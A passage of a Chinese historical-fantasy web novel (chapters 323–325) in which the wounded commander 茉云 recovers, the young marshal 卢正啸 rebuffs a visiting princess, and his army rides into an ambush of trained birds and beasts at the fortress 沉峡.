夜鹰挑眉，目光锐利地望向不言：“我都画成这样了，还看得出啥脸色，所以你是个卖假药的骗子！”
不言没好气的放下行囊，不咸不淡的说道：“你没懂我的意思，你这脸完全显现出了你毫无美色，但你不在乎，还要破罐子破摔的气质。”
夜鹰顿时便一脚踢过去，不言早有防范的闪开了了。顿时，营中老影和雨燃等人都哄堂大笑，显然看起来茉云和此人十分相熟。
不言亦微微笑了坐下给茉云探脉，脸色瞬间凝重，深吸了一口气，抬起头看向茉云，上下打量了一番，语气中带着些许疑惑和不解：“这一箭致你内伤这般重，可你为何没有外伤？”
茉云轻轻一笑，端起茶杯喝了一口暖茶，脸上却依然一脸轻松的神态：“前些日子，萧怀逸将他们家传家宝金丝软甲托人送了过来，暂借我保住小命。”
不言愣了一下，显然有些吃惊望向茉云，低声道：“那小人不是老想害你吗？怎么变得这么快？”
茉云悠然笑了笑，风轻云淡地说道：“他并非小人，只是他是那种能够因地制宜、任何时候都知道最优选择的人。他也不是非得害我，只是心里想着自己的恩人哥哥若娶了西宁公主，大战之后，能保住声望和爵位，免得落得一个狡兔死，走狗烹的结局。只是奈何他那恩人哥哥并不领情。”
不言似乎有些疑惑，萧怀逸的恩人哥哥不就是少帅卢正啸吗？
“而此刻，他知道西宁被拒婚，便从可能的盟友变为了仇敌，必将置他的恩人哥哥于死地。他就会选择支持我，去灭了西宁。这人啊，其实合作起来也挺好的，目的明确且能屈能伸，比他那恩人哥哥，有时清醒多了，何愁大事不成！”
不言听完，忍不住长叹一口气，调侃道：“非也，非也，他那恩人哥哥不是不清醒，只是眼瞎，极其严重无药可医的那种瞎。”
老影正坐在一旁手里拿着他的酒壶，听出不言这话中之意，说卢正啸喜欢茉云是瞎了眼，顿时乐了起来。
茉云也瞬间被逗笑了瞪向不言，可是看见他这一身风尘仆仆，眼中布满血丝的样子，定是不眠不休赶来的，便问道：“你为何此时赶来？”
“你男人让我来的啊。”不言站起身，去行囊里拿出带来的伤药，不咸不淡地答道。
“什么？”茉云抬眉，一脸质疑地望向不言，他怎么知道自己受重伤了？
不言边认真的取着药，边不紧不慢地说道：“我跟你讲，你少来这套。昔日在中州时，你尾巴一翘，人就知道你要干什么，你受这么重的伤，还想瞒得住他？”
茉云听了眉头微微一挑，不服气且没好气地说道：“那他是如何知道的？”
不言则笑了笑，眼中闪过一丝戏谑：“西宁是何地，盛产香料美酒，西岳又是西宁的第二大城，繁华昌盛，素来擅长以香料烹食。就你，一个贪嘴的酒鬼，打了一场大战，闻着这满城美食美酒四处飘香，不去大吃大喝，硬是在城门上假模假样地观望战局，还站了半个时辰。你若反常，必定有妖！他还不了解你？”
茉云听了非但不恼，反而顷刻被逗笑了，她将手中的茶杯轻轻放下，眼中亦渐渐闪过一丝温和。
老影此时也停了下来看着茉云，眼中带着些许意味深长的光芒。嘴角不自觉地露出了欣慰的笑容，比起那些轰轰烈烈，这不动声色的温暖和懂得，才是这世上最深的爱意。
323.只有
茉云丝毫没有因为自己有伤在身，而放慢攻城速度，反而加快了脚步。半夜之时，她仍坐在案前，目光专注研究着攻城方略，手指轻轻划过上面的兵力布局。
老影看着她如此废寝忘食，拿着了酒壶饮了一口，慢悠悠地说道：“兵贵神速，但也不至于要这么快，何以要这么赶？”
茉云抬起头，嘴角带着一抹淡淡的笑意，眼神却透着几分坚决，她望向营外那片将要渐渐明亮的天际。
“你们游牧民族不懂，春天对于民众意味着什么。打完战，好开春，最好一切都随寒冬过去，春风来时，就都是希望！”她的声音低沉却带着一股无形的力量。
老影又喝了一口酒，笑着看向她，眼中带着几分好奇和感叹：“云丫头，其实我挺好奇的，你离开这十几年，到底发生了些什么，你这成长得好似经历过三辈子一样。”
茉云端起茶，轻轻喝了一口，茶香温暖在口中散开，她靠在椅背上，眼神变得有些遥远。她的心中不禁暗自感叹，离开部落已经那么久了，这些年自己确实经历了别人三辈子都经历不完的事，
若真要用一句话形容，那便是自己这大半辈子积攒的力量和能耐，好似都是为了——遇见了一个人，为了能抬起头和他并肩走下去。
而此时的卢家军驻营在山脚，冰封山路成了司融国最后的庇护。若非暮冬早春之雪未化，万里冰河未解，卢家军早已如破竹之势，一路横扫。而如今，风雪阻军山道难行，正啸这些日子夜夜难眠。
帐中将领多以为少帅忧于战局被拖延，唯有执礼知道，他从不是忧虑战局之人，战事再艰难，他亦如闲庭信步般从容，他担心的事远在西南的那个人。
只到这日，一只信鸽破空而来，掠过军旗落在传令兵肩上。执礼第一时间接过竹筒，仅一扫眼，脸上神色便立刻变了，他一路疾行直入正啸营帐。
帐中炉火微燃，正啸正披着斗篷立在案前，听见执行匆忙的脚步声回头道：“何事？”
执礼将信递过去，神色压抑着一丝难掩的激动：“少主，是西南来的飞鸽。”
正啸接过信旋即摊开，小竹筒内是一张薄薄的纸，字迹潦草不堪，却是透出自己熟悉得不能再熟悉的气息，仅仅八个字——“你若信我，小命定在”。
字是茉云那典型的“鬼画符”，但每一笔却都带着她一贯的张扬与任性，亦是绝无可能有人能模仿的。
执礼凑过去看了一眼，顿时笑出了声。正啸这些日子压在心头的大石终于放下了，这起码能证明，她至少无大碍。但他眼中却顷刻闪过一丝无语，她一个天天玩命之人，还好意思让自己信她……
他轻轻将信卷起，正欲收起信之时，外头忽然传来一阵动静。
传令兵在营仗门帘处，恭敬行了一礼说道：“少帅，元帅有请，说是有一位来自西边的客人，想见您。”
执礼愣了半晌，望向正啸说道：“少主，西边来人？”
“去看看便知！”正啸起身，随即前往元帅营帐，掀开营帘，他便问道：“父帅，是何人？”
还未等元帅应答，只见营帐中间站着一女子，身披一袭狐白毛斗篷，身姿高挑曼妙，气质犹如一抹红梅绽于严冬。她轻轻解下斗篷帽兜，露出一张几乎令人失神的面孔。
那是一张带着异域风情的绝世容颜，面容生动好似玉雕，琥珀色的双眸仿佛融着漫天霞光，眉眼之间，天生带着三分娇媚和七分高贵。
当她转身之时，鬓边垂着的银饰，在火光中微微摇曳，耳侧还坠着一枚细长琉璃珠，随着她望向正啸时，微微晃动，好似能摄人魂魄。
众人一时之间都愣在原地，营内出奇的安静。
她望向正啸便莞尔一笑，行礼后缓缓启唇：“西宁公主蕊华，见过卢少帅。”
正啸顷刻间意识到来访之客——是来卢家军求援的西宁使者，他伸手抱拳回礼后便径直走进去，坐在案几边。
随即公主身边随行之人一番动情说辞，昔日，西宁公主随父王远行之时，曾远远见过少帅骑马驰骋而过的豪迈英姿，又知父王一直希望与朝廷联姻。她便求了父王，只因仰慕少帅之英雄气概与无畏气度，可谁料想，这一请求，竟引发了如今的局面。
西宁公主目光如此娇弱，声音却带着明显的哽咽，说道：“卢元帅，我若能为西宁万民谋得一片生机，我愿为奴为婢，只求朝廷能原谅我父王一片爱女之心，顾而言辞无状，犯下大错，蕊华愿以死赎罪。”
她满眼泪水，双手紧握，神情中透着无尽的悔恨与深深的无助，好似将所有希望都寄托在卢家军和少帅身上。
而正啸坐在案几边，目光沉静，所有的神情好似完美诠释了一个词——不为所动。
元帅看了看正啸，眼中闪过一丝深思，问道：“少帅……”
可还未等元帅说完，正啸便起身了说道：“父帅，我还有军务在身，先告退了。”
“此事……”元帅试图再开口，话依旧未说完便被打断。
“此事待您上书朝廷，圣旨到之时，我遵旨便是。”正啸说完，便毫不迟疑的转身径直离开了主营。
元帅的眼中闪过一丝无语，这小子跑得还真快。
卢老太君此时微微起身，温和地说道：“冰天雪地之时，公主一路奔波而来，卢家军自然要以礼相待，东山，在营中收拾出几个情景干净的营帐，让公主和随从先歇息。”
“是！”
而公主此时怔怔站在原地，看向正啸离去的背影，愣在那里片刻，身旁的随从也愣住了，显然没有预料到少帅亲眼见到西宁公主时，竟会是如此冷淡的态度……
夜幕降临，用膳之时元帅还未进营，老太君却望向正啸冷不丁地开口，打破了沉默：“少帅，你对此事作何感想？”
正啸依旧是一脸的波澜不惊：“待旨意。”
老太君目光扫过正啸，缓缓说道：“你可曾想过，西宁国，最后一搏，为何不让她入京求皇上，而是让她来求卢家军？”
萧怀逸望向老太君，双眉微蹙地直言道：“只怕，这恐怕就是京中某位恶人给他们出的主意，将西宁是否灭国的命运系到卢家军身上。而且任谁都皆知，依照卢家军的行事作风，必定会对公主以礼相待，绝不会让她在战火中出事。但若卢家军护了她，可能会动摇卢家军的根本。”
老太君微微一笑，目光扫过萧怀逸，语气倒是也轻柔几分：“小王爷此时也觉之……他两如今便是卢家军的
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根本。”
萧怀逸眼中闪过一丝复杂的神色，恭敬的回答道：“回老太君的话，那人够不够格，怀逸尚不知，但有一点怀逸知道，正啸哥若想救那公主的命，自己铁定没命！”
他的话语一出，顿时引得众人哄堂大笑。正啸压根懒理他们，但是他心中明了，如今西南局势也受到朝局牵动，而西宁也是局势中最为敏感的棋子之一。
此时元帅搓着手走进来，营中之人马上将火烧得更旺一些，众人围坐，开始用晚膳，元帅端起碗筷，轻轻叹了口气，似有所思的说道：“若是……茉云知道此事，会如何想？”
老太君也缓缓抬起眉眼，目光落在正啸身上。
正啸却神情如常，坦率地说道：“她不会作何想，她现在亦忙着打仗。”
元帅无语地摇了摇头，目光里夹杂着一丝头痛：“那把那位公主留在军营，公主是否会有何遐想？”
正啸依旧毫无迟疑，语气更为直接：“我下午已再一次跟那位公主说明了，除非有朝廷旨意，我不可能帮她威慑西南部落之军，保住西宁。”
帐中众人互望了一眼，元帅更是停下了手中的碗筷，一边抬头看向正啸说道：“她下午单独又来见你？你如何说明的？”
不等正啸开口，执礼便接过话头，语气不疾不徐，却带着一丝明显的调侃：“午后，西宁公主忽然泪眼婆娑地来找少帅，问他说，卢家军行天下正道，为何不肯帮帮西宁。少主回了她三个字——‘我没空。’”
帐中众人皆是一愣，片刻后，不约而同地笑出了声。
“也算是一个……谁都没法反驳的理由。”老太君嘴角微扬，摇了摇头，“这点你倒是随了你爷爷，跟外邦也一点套话都懒得说。”
“对，父帅当年也是从不废话，一口一个打字，打得敌人没脾气，朝中谁都劝不住。”元帅一边说着，一边意味深长地又看了正啸一眼，语气里夹着几分揶揄，“可你这……人姑娘都说，见你一面便心生仰慕，你却不搭理，我说你这脑子里啊，是否真缺了这根弦。”
顿时众人皆忍俊不禁，老太君旋即轻飘飘的调侃了一句：“是吗？所有那些见你一面就盯上你的姑娘，你都没搭理过吗？少帅是缺了这根弦吗？”
正啸没接话，老太君分明不是在问西宁公主，她说的是茉云，正啸躲开了眼神，他思绪不由飘回几年前的中州。
那一夜灯火阑珊，他刚踏入中州鬼市的铸心楼查案，她便在人群中一把扯下自己的面罩。明明自己满脸冷意、神情如铁，可她却像压根看不见似的，冲自己一脸嬉皮笑脸，甚至还带着点猥琐的笑着。
尔后，她还举着个老鹰糖人在自己面前晃着，说道：“公子，人生匆匆，星海横流，何苦愁眉不展？中州是个好地，愿君且喜无拘亦无碍！”
这么多年，所有人都告诉自己，要刚强、要沉稳、要隐忍，要背起千斤重担，只有她跟自己说愿君且喜无拘亦无碍……
又过了这些年，这旷世一战终于开启了，所有人亦说，此战凯旋，圣上必将封王赐爵，卢家定会留名千古。也只有她说，要盘算着平定南境后，如何将自己骗出京城……
想到此，正啸唇角轻轻一勾，笑意淡淡浮上眼底。
324.纷扰
不到十日，春风初起，冰雪消融。山路再无阻碍，正啸率领卢家军破雪而行，奔袭司融都城。
这一路如雷霆万钧，马蹄未歇，兵锋所指气势如破竹。司融都城高墙巍峨，曾不可一世，如今却在卢家军的铁蹄下迅速崩溃，国主和权贵居然将王城都弃了，率领残部落荒而逃——三日不到，正啸一鼓作气拿下了司融的都城。
多年以前，司融尚是朝廷友邦，而这一任国主实为谋朝篡位，得位不正，自然未得朝廷认可。他为巩固王位，便沦为峑戎走狗，与朝廷为敌。而老国主的嫡子则逃亡至朝中，得圣上礼遇，如今司融国被攻破，圣上下旨允他回国继位，重整旧国。
卢家军收兵入城，百姓夹道欢迎，而旧王室的旗帜重新升起，新春将至旧国换颜。
而远在楼台之上，西宁公主身着素衣，望着城中那匹烈马上的人——一身银甲冷光，黑发在空中微扬，端坐于马上，挺拔如松威武不凡，她深吸一口气……
司融国主未到达之前，卢家军暂时代为接管了司融都城。卢家军统帅皆没有入主王宫，而是在城中找了一处宅子作为驻军指挥之地。
深夜，正啸依旧坐在案边，目光专注于摊开的地形图，眉头紧锁。在攻打司融的过程中，他一直觉得有些蹊跷，峑戎竟然未派一兵一卒来援，那篡位的司融国主弃都逃亡，是逃往了峑戎吗？
而且，峑戎似乎切断了与外界的一切联系，好似一夜之间，变得沉寂无声，王强这些日子竟然也没有探查到任何峑戎的情报。
正当他沉浸在自己的思索中时，突然听到门外传来轻轻的叩门声。尚未等他回应，门便缓缓推开。
是西宁公主蕊华推门而入，穿着单薄，似乎早已抵挡不住寒风的侵袭，在微微颤抖，身形愈发显得楚楚可怜，目光低垂，眼神中透出一丝无助和疲惫。
门口的万莫看到她未得少主同意便进来，抬手便拦住她的去路，神情中都是警觉。
蕊华深吸一口气，眼中的难堪几乎溢出，她一边定了定神，一边目光无力地望向正啸：“我知我着实无礼，但为了西宁国，我什么都可以做，哪怕失去颜面和尊严。”
她的声音带着几分哽咽，眼角的泪光一直在忍着未曾滴落。而正啸的目光却从没有离开过案几上的行军图。
她停顿了片刻，接着又说道：“少帅朝中的大公主鸿音姐姐是我挚友。昔日她嫁到冰天雪地的新元，我问她为何嫁。她说，身为公主一出生便享有人世的尊荣，是福气亦是责任。为了西北万民的安康，她可以付出一切，何况是一段婚姻。”
正啸这才缓缓抬头，目光渐渐从地形图上移开，鸿音公主——是当今皇上的长女，自幼聪慧且机敏，因母亲早逝，从小便由王妃，也就是他姑姑亲自抚养在身边。
她比自己年长几岁，早年在王府中，她总是以长姐之名，照顾其他皇子和自己。
然而，为了国家的安定，为了西北的百姓，她毅然决然嫁到西北之地的友邦新元，踏上了陌生土地。这些年来西南无战事，几乎皆可以归功于她，她虽是一女子，但她却有经世之才，这些年在她的辅佐之下，新元成为了西南第一大国，且与朝廷修万世之好。
正啸也已很久没听过她的名字，自从离开京城之后，入军中历练，除了皇上，卢家素来不和其他皇子皇亲多打交道。
忽然听到鸿音的名字，正啸才目光沉静地看向西宁公主，但他的声音没有丝毫波动，淡然地说道：“去告诉你那些随从，他们想让你做的事，你办不成，不是因为你如何，而是因为我不吃这一套。”
说完，他目光重新落回案上行军图，而西宁公主显然眼中露出一丝错愕，没想到他发现自己是被胁迫而来的……
“当日，鸿音公主远嫁西北，是为了万民的安康。若你想学她救西宁百姓，那便多想想西宁的未来，而不是只想着你们的王室和你父王。最终沦为任人操控的棋子。”
西宁公主愣了半刻，眼中闪过一丝不解和疑惑，反问道：“棋子？”
执礼这时接过正啸的话，眼神锐利望向她，语气却平淡：“西宁公主，若是你连自己随从的话都不得不听，不是棋子是什么？难道您真以为他们这些狗急跳墙的拙劣伎俩能救得了西宁？”
公主的眼神黯淡下来，似乎被这番话击中了内心深处的痛点。她深吸一口气，低声说道：“鸿音姐姐就曾说过，我什么本事都没有，自幼便是命好罢了，想要什么，都能得到，人都会给我……”
她的声音渐渐变得低沉，好似一切的希望都在这一刻消散了。她很想像鸿音公主那般，凭借一己之力承担起西宁的未来，但这一切在面对现实时，显得那么渺小而脆弱。
正啸没有再说什么，依旧低头看着自己的案上行军图，不再言语。
执礼则心领神会，语气柔和却不容拒绝的说道：“公主，夜深了，请早些回去歇息吧。”
西宁公主站在那里，愣愣地看着正啸，心中波澜起伏，却没有再言语。最终，她低下头，转身缓缓离开，步伐沉重，好似每一步都带着无尽的失落。
她不懂，她是个公主，自幼被父王捧在手心，而如今的这一切……
翌日，正啸刚和诸将商量完军务，忽传来消息，不言归来了。
正啸听闻此事便抬起了头，执礼本想让传令兵去召见不言来少帅这汇报，他还未开口，正啸便起身亲自前往了白神医处。
房内，不言刚刚坐下，斗篷都未解，神情倒是轻松得很。一见正啸进来，他立马嬉皮笑脸地站起来行礼：“不言见过少帅！”
白神医见他那副故意卖关子的样子，被逗笑了说道：“少帅这匆匆赶来，是为了让你给他行大礼的？”
“哦，少帅，您放心，萧小王爷将那宝贝金丝宝甲借给了茉云，那箭没射进她体内，虽然内伤不轻，但如今已经好了八成！估摸着这会儿，她都该奔袭西宁都城去了。”
正啸略微点头，神情放松了几分，原来是这个缘由，难怪明明被一箭射下马，却毫发无伤……
执礼却在一旁接话，言词带着明显地调侃：“她可曾知……西宁公主来了咱卢家军？”
不言顿时乐了，边点头边笑得异常灿烂，说道：“老影将军听到探子来报，问她作何感想，她说西宁居然想对卢家军使用美人计？老影将军说，是啊，可听说那位公主，如今出落得惊为天人啊，你这如何是好。”
众人齐刷刷望向他，眼中皆都带着几分看好戏的神情。
不言眯起眼学着茉云的语气：“茉云说，压根不用操心，这卢家军的少帅，武功卓绝，谋略非凡，人也正直，就是——审美不太
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行，或者说……他不喜欢好看的，你看看他身边之人，沧海、万莫、罗虎，皆是粗人、扛事且能吃。天生万物，皆有因缘，他有可能就喜欢我这一款的！”
众人先是一愣，随即笑声炸开，就连千山都被逗笑了，整个房间都回荡着欢乐。
白神医笑着，慢悠悠地抬眼看向正啸说道：“你别说，也有几分道理……”
正啸一言未发，脸上一副众人都习惯了的无语神情，可眼底却透出了一丝柔和。春寒料峭，雪尽霜融，战火暂息，她安康的消息，在这纷乱之时传来，竟如暖意生根。
就在此刻，房外忽然传来传令兵急促的声音：“少帅，探营王队回营了，元帅传您速去！”
“好！”正啸神情微变，立刻起身出了房间，径直穿过走廊，疾步去往了元帅处。
元帅抬眼看向进入的正啸，抬手示意道：“无需多礼，少帅来了，王强说吧！”
王强当即抱拳，神色肃然，声音不疾不徐的说道：“启禀元帅，我沿着司融王室一干人马的马蹄印痕，一路追查，最终确认他们已逃进了沉峡。”
“沉峡？”元帅皱眉望向王强，帐中众人神色微动。
王强点头继续说道：“那沉峡虽非大城，但地势险要，三面环山一面断谷，易守难攻，极其神秘。”
“如何神秘？”魏副帅皱眉询问道，探营是很少会用神秘二字形容一处城池的，因为即为城镇又是屯军之地，人来人往，何来神秘一说。
王强顿了一下，语气加重：“这个沉峡号称‘小南铸’，物产丰富，鸟兽繁多，而且矿产尤多，是司融国的兵器重地，据说周边诸国的兵器铸造多由此出，此地属国主亲管之地，闲人不得入内，所以探营兵也未能进去。”
屋内陷入短暂的沉默，魏副帅抬眉道：“也就是说，那等于是一座天然的铸造兵器之堡垒？”
“正是！如今司融国主带人逃入沉峡，恐怕不是避难，而是图谋死战。”
元帅目光凝重，手指缓缓敲击椅扶，转向正啸：“啸儿，你怎么看？”
正啸眼神一沉，缓缓开口：“他们此时躲入沉峡，便不是想苟延残喘或逃出生天，可能是准备负隅顽抗，谋求最后一击。那地形、那兵力，再加上本就是铸造兵器之地，一旦封峡闭关，便如固壳，轻易难撼。”
老太君这时也说道：“昔年老卢帅也曾说，凡临败之军，若能靠山屯兵，以谋后动，便不可轻敌。”
元帅微微点头，毫不迟疑的说道：“我们必须剿了这沉峡，不光是为了灭敌，此处可能也是峑戎的铸兵器之地。”
魏副帅目光如炬看向元帅说道：“元帅，言之有理，断了兵器补给之地，也是为日后大战做准备。”
王强则担心的说道：“可是元帅，沉峡一地，离司融都城不远，竟然没有任何情报和记载，我远观之，沉峡之内迷雾一片，浑浊不堪，什么都看不清，是否有诈？”
“瞻前顾后，还打什么仗！圣上亦下旨说了，命卢家军为司融国清缴残余旧势，迎新主进城。”元帅顿时斩钉截铁的下令道，“小小沉峡，卢家军，必须十日之内给我拿下！”
“是！”
初春之阳清浅浊寒，透过窗棂而入，屋内影子沉沉，战意悄然而生，可众人不知一个巨大的陷阱正等待着他们……
325.陷阱
军中的气氛又顷刻紧张起来，调兵的命令已经下达，元帅即将带领大半兵力进攻沉峡，少帅将随元帅一同前往，而魏副帅则负责镇守都城。
作为督军，萧怀逸对此决议心中充满了疑虑，但他的声音在军中素来并不受重视……
夜幕降临，王强也悄悄来到正啸的书房。正啸正在案前处理着一堆堆的军务，双眉微蹙一脸冷峻。
王强沉默了一会儿，忽然开口道：“少帅，您可改变主意吗？早知道我就不回来汇报沉峡之事了。”
执礼愣了半刻，目光有些诧异的望向王强，显然未料到王强会突然说出这样的话。正啸的笔在纸上顿了顿，亦抬目望向他。
王强深吸一口气，开口说道：“云姐曾说，要我多动点脑子干事，但她也跟我说，把我看到的一切如实告诉您，由您来判断。但我总觉得，沉峡就是个陷阱。”
正啸的眼神透出一丝温和，说道：“你不用有负担，那里无论是刀山火海，我都得闯。”
王强顿时脸上露出一抹复杂的神色，他似乎未理解正啸的意思，既然明明知道是陷阱，为何要闯？
执礼则深吸一口气，看着王强，缓缓说道：“王强，入军营这么久，你该知元帅和少帅的难处，行正道难，道阻且艰……如今，圣上已下旨，要卢家军替司融国正统扫清一切篡位势力，此旨意已昭告天下。卢家军若不铲除旧势，日后贼人反攻，必然危及大军的后方，甚至会让圣上颜面扫地，失信于天下。朝廷一直看重大国之威，此战卢家军避无可避。”
王强听完，默默点头，明白了其中的利害：“那我可否与少帅同往？至少我跟少帅同入陷阱，云姐也不会骂我是敌方奸细。”
执礼轻轻笑了，正啸则无语的看向他，声音低沉又无奈的说：“好，早点去歇息吧。”
王强这才若有所思的行礼后，转身退出了书房。
夜已深，正啸还在处理堆积如山的军务，案几上的纸张在烛光下微微颤动，他的思绪不禁飘远，眼中藏一丝忧虑——沉峡居然没有任何情报资料。
然而，就在此时，他忽然双眉锁紧，因为他听见了院中信鸽飞出之声，正啸抬起头，目光望向窗外，千山立即点头，心领神会地转身走向外面。
不多时，千山带着威行和王强推门而入，威行一脸沉稳的抱拳行礼禀报道：“少帅，刚才是王强用信鸽给方茉云将军送信。”
正啸双眉微微蹙起，目光落在王强身上，似乎在等待一个解释。
王强略显无奈，苦笑道：“云姐说了，若有一天觉之少帅有危险，要立刻告诉她。”
威行转头，忍不住笑了笑：“你刚才可不是这么说的，你明明是说，‘方茉云说，若有一天你发现少帅脑袋发热，想去送死，你就立刻告诉她，若敢耽误半刻出了事，她就会把你全家都埋了’。”
王强顿时一脸苦痛地望向正啸哀求道：“少帅，可怜我老父老母，终于在南境开垦了田地，准备过几日好日子……方茉云那人，您知道的，她说话肯定算数，我也是没办法！”
听到这里，众人都忍不住哄堂大笑，气氛顿时轻松起来。
正啸看向眼前众人，长叹一口气说道：“行了，别闹了，都去休息吧。”
众人纷纷行礼，都准备告退。就在这时，正啸又忽然看向威行问道：“应该有两只信鸽飞出，还有一只信鸽，是谁的？”
威行恭敬地答道：“是督军萧小王爷的信鸽，元帅曾说过，卢家军一向坦荡，而督军有单独上奏的权利，所以他的信鸽内容，我们不需要查看。”
正啸点了点头，沉吟片刻后淡淡说道：“好，我知道了。”
他们告退之后，正啸默默又叹了口气，眼中隐有一丝无奈，继续低下头，埋头于那堆繁杂的军务之中，心中却隐隐透出一丝温暖。
五日后的黎明，卢帅亲率卢家军的七成的兵力攻打沉峡，士气高昂。老太君亲自来城关送行，元帅看向老太君点点头，所有将士们亦心头一热，誓死捍卫朝廷之威。
然而，正啸心中却清楚，这场战斗必定凶险万分，他几次劝谏元帅让自己带兵前往都被拒绝了，可沉峡那无法预料的局势让他心中不安。
大军一路行进，势如破竹，前进了两日。终于，队伍到达距离沉峡不到十里之地，黄昏之时，元帅下令暂时驻军。这里的山势险峻，环境显得格外苍凉和寂静。
正啸亲自骑马带领一队精兵，前去探路。不到半个时辰，沉峡的入口便出现在眼前，那古老的城关依山而建，气势雄伟但透着阴森。
两边的山峰高耸入云，仿佛竖立在天际，给人一种压迫感。周围寂静得有些可怕，甚至连鸟鸣兽吼的声音都没有，或者说所有生灵都已避开了这里的杀气，好似连春风中的一丝生机都被这片地域吞噬了。
正啸停下马来，目光凝视着沉峡城，眉头不禁微微皱起。这一带的肃杀之气如此浓重，他的坐骑烈儿都显得有些局促不安，他好似都能感觉到前方隐藏的危险。
待他查探完地形，回到营中，正准备向元帅禀报时，元帅已经下令，明日一早便发动攻势，攻打沉峡。
听到命令的瞬间，正啸心中一沉，微微皱眉，就在这时，执礼走了过来，低声在正啸耳边说道：“少主，朝廷已经明发诏书，昭告天下了。东山告诉我，圣上给元帅的旨意中已经写明，再有不到十日，司融的新任国主就将回国继位。朝廷的意思很明确，一国不容二主，那个篡位的国主，必须抓到！”
正啸沉默片刻，最终点了点头，目光依旧凝重。他知道，这对于圣上和朝廷不仅仅是一场征战，更是真正讨伐峑戎国之前，像天下震慑四方，彰其显大国之威的契机。
沉峡之战，已在所难免，而且胜败之间，关乎整个朝廷的权力格局。卢家军已经没有回头的余地，只能迎接即将到来的风暴。
翌日清晨，天边的曙光刚刚破晓，卢家军便浩浩荡荡地向沉峡挺进。大军如潮水般汹涌而来，士兵们的脚步踏在土地上，发出沉闷的响声，激昂的号角声也在清晨的空气中回荡。
正啸亲自率领沧海、罗虎和鹿里三位将军的精锐部队，带领着攻城兵、骑射兵，骑弩兵和骑兵，在严密的阵列中向沉峡进攻。
在骑射兵的掩护下，沧海带领一队攻城兵用尽全力攻破了城门。不同于以往那种毫不迟疑、直面敌人的勇猛，沧海在攻破城门的瞬间突然回头看了正啸一眼，目光中有些许的犹豫。
那一瞬间，正啸敏锐地从沧海的眼神中，察觉到了他心中的疑虑，毕竟攻破这道城门后，接下来的敌军兵力显得出乎意料的稀少。此地的局势，并不像先前所预期的那样简单，可能是敌军兵力本已不足，但亦有可能是……有更深的陷阱等待着他们。
然而，元帅没有丝毫犹豫，立即举剑下令，声如雷霆：“所有骑兵，随我破城！”
随着命令的发出，骑兵如潮水般蜂拥而入，沿着逐渐狭窄的山道向城内推进。正啸亦只能紧跟元帅身后，他看了沧海一眼，沧海也心领神会的点点头，军令已下，此时只能走一步看一步。整支队伍马蹄疾响，气势汹涌，好似要摧毁一切挡在前方的敌人。
然而，就在这时，一声凄厉的嚎叫突然划破寂静，响彻天际。元帅的战马猛然一惊，抬起了前蹄。所有的战马都纷纷变得不安，四蹄踏地不稳，显然受到某种强烈的惊扰。
远方的天空中，突然有一片黑压压的巫鸟飞掠而来，遮蔽了天日，呼啸声带着一股阴森却冷酷气势，令人心生畏惧。
正啸眼中闪过一丝冷冽，他立刻吼道：“骑射手，准备！”
话音刚落，罗虎的骑射营迅速拔剑准备射击。然而，马匹的惊慌让他们无法准确瞄准。
正啸见状，立刻下令道：“下马！再射！”
就在这时，地面又忽然传来一阵剧烈的震动，好似大地在颤抖。
正啸皱眉，他的直觉告诉自己，这不是战马可发出的震动，战场的情况正在急剧变化。
果然，随着震动的加剧，远处一群被巫师驯化的猛兽冲出山道，朝着他们扑来，嘴里发出令人毛骨悚然的嚎叫。战马们本能的惊慌，瞬间失控，全军顷刻陷入了混乱。
然而，正当局势一度变得岌岌可危时，正啸冷静的下令道：“弓弩手上前瞄准地上猛兽，弓箭手瞄准天上巫鸟！”
“是！”身后不
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远处，鹿里所率领的骑射弩弓营迅速做出了反应。
只见弓弩手迅速弃马，飞奔向前，排成三列整齐的阵型。每一位弓弩手稳稳地，瞄准飞扑而来的恶兽，迅猛地射出第一排箭矢。射完的弓弩手毫不迟疑地转身后退，第二排紧随其后，接连发射，第二排弓弩手过后，第三排又紧接着补上，锋利的弩箭如雨点般射向那些扑向战马和士兵的猛兽。
这一系迅速而精准的反应，让猛兽的攻击瞬间遭遇到了压制。那些恶兽在接连被射中的瞬间，痛苦地嚎叫，乱作一团，攻击的气势逐渐减弱。
弓弩兵冷静而无懈可击，迅速稳定了局势，极大地缓解了战场上的压力。
身后的将士们亦晃过了神，训练有素的卢家军并不会因突如其来地恐惧而退缩，反而瞬间冷静下来，展现出极高的战斗力。
然后就在此时，空中乌黑的大鹰领头飞翔，宛如暗夜幽灵，它张开翅膀的瞬间，烈日好似都被它阻挡，一双利爪带着无法言喻的威胁俯冲而下。
领头之鹰目光锐利地锁定了元帅，庞大的身躯划破天际，速度快得几乎让人反应不过来。
正啸眼睛一瞪，心中陡然生出不祥的预感，他立刻转身，焦急地吼道：“父帅，小心！”
然而，话音未落，那只大鹰已经俯冲而来，巨大的冲力带着破风之声，直接将瞬间挡在元帅身前的震北撞翻，连人带马一起飞了出去。
大鹰的爪子精准地划过元帅战马的双眼，然后划向元帅，元帅的战马瞬间失控，剧烈挣扎，痛苦的四蹄狂奔，好似完全失去了控制。
元帅的脸和挥剑的手臂被鹰爪抓破，正啸的心猛地一紧，拉马转身便急速向元帅奔去。谁知道，就在这时，另一只大鹰从空中俯冲下来，眼中充满了冷冽的杀意，朝着正啸背后扑来。
在这生死一瞬间，萧怀逸和万莫几乎同时弃马而起，拔剑砍去。两人挥舞的长剑划破空气，直指扑来的大鹰。
那只大鹰显然也训练有素，灵巧地避开了他们的剑锋，急速上升，却也放弃了对正啸的攻击，转而飞向空中。然而，两人都重重地摔倒在地，伤得不轻。
可正啸已顾不上身后两人的情形，迅速奔向元帅已经失控的战马。他一把拉住缰绳，用力将马儿拉住，稳定住了局面。
元帅顿时冲着正啸吼道：“啸儿，你带着沧海突围撤退，为父殿后！”
而正啸好似完全没有听到元帅的声音，一只手稳稳扯住元帅烈马的缰绳，大声吼道：“所有人不要惊慌！下马找掩护！弩弓手和骑射手，站到最前线，抵挡冲击！”
“卢正啸，服从军令！”顿时元帅也着急地吼道。
就在此时，空中的领头大鹰再次俯冲而下，朝着正啸猛扑过来。
正啸另一只手紧握剑柄，眼神如同冰霜，毫不退缩。大鹰的速度极快，气流撕裂耳畔，几乎要把一切吞噬。
然而，正啸拔剑迎战，剑气迅猛地一挥，逼退了扑来的巨鸟。剑气划破空气，好似撕开了一道血色的天幕，挡住了大鹰的攻击。
可是，紧接着，另一只大鹰从空中再次俯冲而来，速度更快，姿势更猛。
沧海的声音传来，焦急而急促：“少帅，小心！还有一只！在你后方！”
正啸的侧头眼角一瞥，果然，第二只大鹰的利爪已经近在咫尺。
